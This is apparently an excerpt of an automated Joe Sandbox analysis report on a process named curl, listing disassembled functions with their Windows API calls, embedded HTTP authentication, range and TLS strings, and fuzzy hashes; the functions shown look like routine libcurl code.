%sAuthorization: NTLM %s, xrefs: 008A0EE5, 008A0F9D
HTTP, xrefs: 008A0D45

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %sAuthorization: NTLM %s$HTTP$Proxy-
API String ID: 1294909896-3667642693
Opcode ID: c95bf1cc62aae3a1a9815de7c490823b04e2596113d09d724c1ccd8ef7ed56a7
Instruction ID: f2af9659b76d0e85edd3dbd60238c2a838a7169848d2e35de23b087981e30a1a
Opcode Fuzzy Hash: c95bf1cc62aae3a1a9815de7c490823b04e2596113d09d724c1ccd8ef7ed56a7
Instruction Fuzzy Hash: FD914775A0420AAFEB14CFA8D880AADBBF5FF49314F14406AE905E7351EB71AD41CF91

Function 008A2CC6 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 008A67EE: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00890591,00000001,00000000,00000000,00000000,?,?,?), ref: 008A6847

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,00890D79,?), ref: 008A2E88
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,00890D79,?), ref: 008A2EAD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,?,00890D79,?), ref: 008A2ECD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A2F34

Strings

Proxy-, xrefs: 008A2E57, 008A2E5F
%sAuthorization: Negotiate %s, xrefs: 008A2E60
Curl_output_negotiate, no persistent authentication: cleanup existing context, xrefs: 008A2DB0
Negotiate, xrefs: 008A2DD7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$malloc
String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$Negotiate$Proxy-
API String ID: 2190258309-1255959952
Opcode ID: 2f6991fa93d814731040f69b0294c3041af52116f51cb6115b74f0b2520613d0
Instruction ID: a11b3faf8ac9815652c50ec04495952a2f1e50d0fdf1eb0bb2f501de8a675240
Opcode Fuzzy Hash: 2f6991fa93d814731040f69b0294c3041af52116f51cb6115b74f0b2520613d0
Instruction Fuzzy Hash: B871E131B48206DFEB298B18C850BA97BF5FF46344F1940ADD841DB292EB78DD44CB51

Function 008618C8 Relevance: 12.1, APIs: 8, Instructions: 113COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,00861773), ref: 008618D7
___from_strstr_to_strchr.LIBCMT ref: 0086190C
_strrchr.LIBCMT ref: 0086191C
_strrchr.LIBCMT ref: 00861931
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,00861773), ref: 00861944
___from_strstr_to_strchr.LIBCMT ref: 00861955
___from_strstr_to_strchr.LIBCMT ref: 00861965
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,00861773), ref: 008619A0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr$_strrchrfree$malloc
String ID:
API String ID: 3226260525-0
Opcode ID: 906af168b49ff2d5b95bfa6a9c6ac7c0e30b8af6da1c2f1c30d7ebad43ce1451
Instruction ID: b308092a8ad9a529c7a7c8724b195b96db57a57f0392fa15148895dbdee598b7
Opcode Fuzzy Hash: 906af168b49ff2d5b95bfa6a9c6ac7c0e30b8af6da1c2f1c30d7ebad43ce1451
Instruction Fuzzy Hash: D3318B371096126EDF155A3CAC6A9FA7F9CFF4336079E4069E481DB283DF119D0282B5

Function 00892B7A Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 99COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00892BB8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00892C0A

Strings

Content-Range, xrefs: 00892BE5
Content-Range: bytes %s%I64d/%I64d, xrefs: 00892C6B
Content-Range: bytes 0-%I64d/%I64d, xrefs: 00892C36
Content-Range: bytes %s/%I64d, xrefs: 00892C82
Range: bytes=%s, xrefs: 00892BC1
Range, xrefs: 00892B95

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Content-Range$Content-Range: bytes %s%I64d/%I64d$Content-Range: bytes %s/%I64d$Content-Range: bytes 0-%I64d/%I64d$Range$Range: bytes=%s
API String ID: 1294909896-2902172602
Opcode ID: 9c8c58040d205241c78f0e042ccf01cc7ca75f6f6944db5fb05d33c24a91617e
Instruction ID: 911386c04f5cf9556f8848ba72ae779329eab4f617dcc46cd8c87a5f9b228201
Opcode Fuzzy Hash: 9c8c58040d205241c78f0e042ccf01cc7ca75f6f6944db5fb05d33c24a91617e
Instruction Fuzzy Hash: 7531DB72B04911BAEB1C3B789C41F6AB795FB45724F18832AE519D2251DB31AC508AA1

Function 008950DE Relevance: 12.1, APIs: 8, Instructions: 97sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0089480B: QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,008724A8), ref: 00894820
Part of subcall function 0089480B: __alldvrm.LIBCMT ref: 00894839
Part of subcall function 0089480B: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00894863

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?,00000000), ref: 0089510A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,00000000), ref: 00895118
Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0(00000001), ref: 00895159
MoveFileExA.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING),00000000,?,00000000), ref: 00895166
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00895175
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00895181
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008951A1
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008951AD

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup$CounterFileMovePerformanceQuerySleepUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1781201201-0
Opcode ID: 95618429ff819e65fc0d9b728bc34398158925b953af42de6cfb4627c3625d95
Instruction ID: e8ee44bb75de1281dba381abc43bfd72ff7924f19db106db7eb22dbdab7be5fb
Opcode Fuzzy Hash: 95618429ff819e65fc0d9b728bc34398158925b953af42de6cfb4627c3625d95
Instruction Fuzzy Hash: ED219272901A05AFDF16FFB8AC85ADF77A9FF09710B180525FD01FB242DBB199014A91

Function 00888A20 Relevance: 12.1, APIs: 8, Instructions: 80networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0089FEA6: getaddrinfo.WS2_32(?,?,?,?), ref: 0089FEC0
Part of subcall function 0089FEA6: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 0089FF44

WSAGetLastError.WS2_32 ref: 00888A68
WSAGetLastError.WS2_32 ref: 00888A72
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?), ref: 00888A87
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?), ref: 00888A95
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00888AB1
send.WS2_32(000000FF,?,00000001,00000000), ref: 00888ACC
WSAGetLastError.WS2_32 ref: 00888AD6
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?), ref: 00888AE4

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CriticalErrorLastSection$Leave$Enterfreegetaddrinfomallocsend
String ID:
API String ID: 2368937457-0
Opcode ID: 323eafc7be06ec1d572c10ba07265a5dbd67f60a31f96b60e02313e58e7b3d17
Instruction ID: 7e91733a2d3090aedcaf4eb270995beab59ed53f56cafe2afedadab305d40600
Opcode Fuzzy Hash: 323eafc7be06ec1d572c10ba07265a5dbd67f60a31f96b60e02313e58e7b3d17
Instruction Fuzzy Hash: 6021AD75200B04DFC720AF65DC54A6FBBB9FF44700B404A2EE992D32A1DB30A809CBA0

Function 008B1110 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

_set_app_type.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001), ref: 008B1113
_set_fmode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001), ref: 008B111E
__p__commode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001), ref: 008B112A
__RTC_Initialize.LIBCMT ref: 008B1142
_configure_narrow_argv.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,008B18B0), ref: 008B1157

Part of subcall function 008B1813: InitializeSListHead.KERNEL32(008CF430,008B1167), ref: 008B1818

__setusermatherr.API-MS-WIN-CRT-MATH-L1-1-0(Function_00027BE0), ref: 008B1175
_configthreadlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000), ref: 008B1190
_initialize_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 008B119F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Initialize$HeadList__p__commode__setusermatherr_configthreadlocale_configure_narrow_argv_initialize_narrow_environment_set_app_type_set_fmode
String ID:
API String ID: 1933938900-0
Opcode ID: 1ec1bd37e0844cf6bff569c87a264db2cce61362fb10bd7a8ca5529b68ad5804
Instruction ID: 04daf73fac1da49225f52d85777bbe387233916985194cb6744abb248cce58de
Opcode Fuzzy Hash: 1ec1bd37e0844cf6bff569c87a264db2cce61362fb10bd7a8ca5529b68ad5804
Instruction Fuzzy Hash: 89018C12A14A1A14ED2033FD593FADF261AFF113A0BE88860F910EE393ED59D51140B3

Function 008B224A Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,008B2241,008B20AB,008B1714), ref: 008B2258
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008B2266
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008B227F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,008B2241,008B20AB,008B1714), ref: 008B22D1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c5bcd203475b3dc00205c47a48878b1f2503b2ea31a37c032657d488432604f3
Instruction ID: 5c4fc4c1d5fb74ca22fb39e78bef1978cc3c6634030901022e64cf4926773080
Opcode Fuzzy Hash: c5bcd203475b3dc00205c47a48878b1f2503b2ea31a37c032657d488432604f3
Instruction Fuzzy Hash: 70014732508B125EB62427B8BC85BEB6BA4FB16B747300339F110C43F3EF614C415664

Function 008A2110 Relevance: 11.4, APIs: 9, Instructions: 148COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A2223
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A223B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A2253
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A226B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A2283
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A229B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A22B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A22CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A22E3

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3cf68eae5e8fd4fc6511ab98bc25071b03f145ef3cf69de3271ca86b3fa390ac
Instruction ID: 571c5f55a7175ba1dc5fe6dd2e1b88f6677aef2b1425423edf91ffbad48b2d88
Opcode Fuzzy Hash: 3cf68eae5e8fd4fc6511ab98bc25071b03f145ef3cf69de3271ca86b3fa390ac
Instruction Fuzzy Hash: 12518132504B11CFEF298F18D8487697BE1FF59325F2881AAD9058B356DBB5AC00CF95

Function 0087F65C Relevance: 11.3, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,754C3C50,00000000,0088182F), ref: 0087F671
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F685
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F699
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6AD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6D5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6E9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F6FD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087F70F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a273b1f8a4ede026e750d3bafd74629443bc56cc3c42676b25a3ff8d1688ba01
Instruction ID: 40484a297fd343c1e92456d5143b7712388ea94544a211c60a4aa438bc2e46ac
Opcode Fuzzy Hash: a273b1f8a4ede026e750d3bafd74629443bc56cc3c42676b25a3ff8d1688ba01
Instruction Fuzzy Hash: 83119232614929DB9A092F24FC0885CBFF6FF4DA61329816AE50193772DFB52C118FD4

Function 00870F87 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 460stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,I32,00000003,?,00000000,754B43D0,?,00871589,?,?,?,?,00000000), ref: 00871012

Strings

I32, xrefs: 0087100A
I64, xrefs: 00871028

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: d2c26ffaa7d9822a971be6c58aa7bc3de801a6a5a97365e8cadaa5c56fcd442f
Instruction ID: 4fc8f87a66a0550f4fd0297eb4ad32abbb58085c745d3405e5445c31f167028a
Opcode Fuzzy Hash: d2c26ffaa7d9822a971be6c58aa7bc3de801a6a5a97365e8cadaa5c56fcd442f
Instruction Fuzzy Hash: 95F1C5B1A002059BDF2D8E6CC9AC77CBBA5FB45304F68C16ED54ADBF59D278CA409740

Function 008A4576 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 188libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll,wine_get_version), ref: 008A463C
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 008A4643

Strings

ntdll, xrefs: 008A4637
wine_get_version, xrefs: 008A4632
Failed to set SNI, xrefs: 008A47E5
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 008A461C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Failed to set SNI$ntdll$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$wine_get_version
API String ID: 1646373207-3067498429
Opcode ID: 180852e3b3c9eb02c1e978dbac81e6688edfb367e96303fe3bedaca92ac0b42c
Instruction ID: 9015cbd2f53e1bccb45eb1084510f93fc3e1968a07481e66e57e71a673e69f7b
Opcode Fuzzy Hash: 180852e3b3c9eb02c1e978dbac81e6688edfb367e96303fe3bedaca92ac0b42c
Instruction Fuzzy Hash: 4F617D306043448FFF298E288885BA573A5FF93325F1412A9E855DE6D2DBB48D85CB12

Function 008AD2D8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB20
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB42
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB9C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AD01D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AD033

Strings

, xrefs: 008AD365

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$callocmallocrealloc
String ID:
API String ID: 4199894680-3916222277
Opcode ID: ded14d87a54dddb5fd9498f9ed2fcea3d33d4ef25c372e8b6a6d3733c965c847
Instruction ID: 7b7e9c6aceeba2c5b631ac0add0dbee41e711dfc64da736201767ddf515fe61d
Opcode Fuzzy Hash: ded14d87a54dddb5fd9498f9ed2fcea3d33d4ef25c372e8b6a6d3733c965c847
Instruction Fuzzy Hash: C1518731A00B169FEB24CF29D548A25BBF1FB4A320F188529D416C7F51D732F890CB95

Function 00862BF8 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 166stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000000,00000001,00000000,?,?,0086199D,00000000,?,?,00861773), ref: 00862C7A
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,00000001,?,0086199D,00000000,?,?,00861773), ref: 00862C91
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\\?\,00000004), ref: 00862CAE
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004), ref: 00862D52
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862D79

Strings

\\?\, xrefs: 00862CA8
|<>"?*, xrefs: 00862CF0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$mallocstrncmpstrncpy
String ID: \\?\$|<>"?*
API String ID: 2141947759-3264285191
Opcode ID: 2f4dbfda4233d24d4d5a73f73392fb31eff422bf1144c83b98a207f473872ee6
Instruction ID: 7c02ba6d7b33e08f9e1ff899f19841d95de62286d01542b8715d8a68c2e77d1f
Opcode Fuzzy Hash: 2f4dbfda4233d24d4d5a73f73392fb31eff422bf1144c83b98a207f473872ee6
Instruction Fuzzy Hash: 15513431A04F5E9FEB258B28C8547AE7BA5FF42354F2A41E9DC81DB292D7348D40C790

Function 00875247 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 160stringCOMMON

Download Yara Rule

APIs

strspn.API-MS-WIN-CRT-STRING-L1-1-0(00000005,0123456789abcdefABCDEF:.,00000000,00000000,?), ref: 00875295
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,008C28BC,00000002), ref: 008752C7
inet_pton.WS2_32(00000017,00000005,?), ref: 0087535F
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(00000004, /:#?!@,00000000,00000000,?), ref: 008753D3

Strings

/:#?!@, xrefs: 008753CD
0123456789abcdefABCDEF:., xrefs: 0087528F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: inet_ptonstrcspnstrncmpstrspn
String ID: /:#?!@$0123456789abcdefABCDEF:.
API String ID: 3548342379-4134865206
Opcode ID: 1a768db47c5ad648f9249eecae3806626bcc866ee6e22f3933a2b3e324e4e956
Instruction ID: 0075d1d8da0e2253b391e2033229691f43b873b57ca300c9f078cdc9aae71e53
Opcode Fuzzy Hash: 1a768db47c5ad648f9249eecae3806626bcc866ee6e22f3933a2b3e324e4e956
Instruction Fuzzy Hash: 27510431904B498EEB20CB68CC507AA7BE5FF07380F248469D489D73DAEBE0E9458761

Function 0089DB2C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0089DB47
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089DBC4
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089DBE8

Part of subcall function 008AC864: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0089DB17), ref: 008AC885

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089DC0E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089DC25

Strings

Wildcard - Parsing started, xrefs: 0089DCA0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$calloc$_strrchr
String ID: Wildcard - Parsing started
API String ID: 3895608051-2475583933
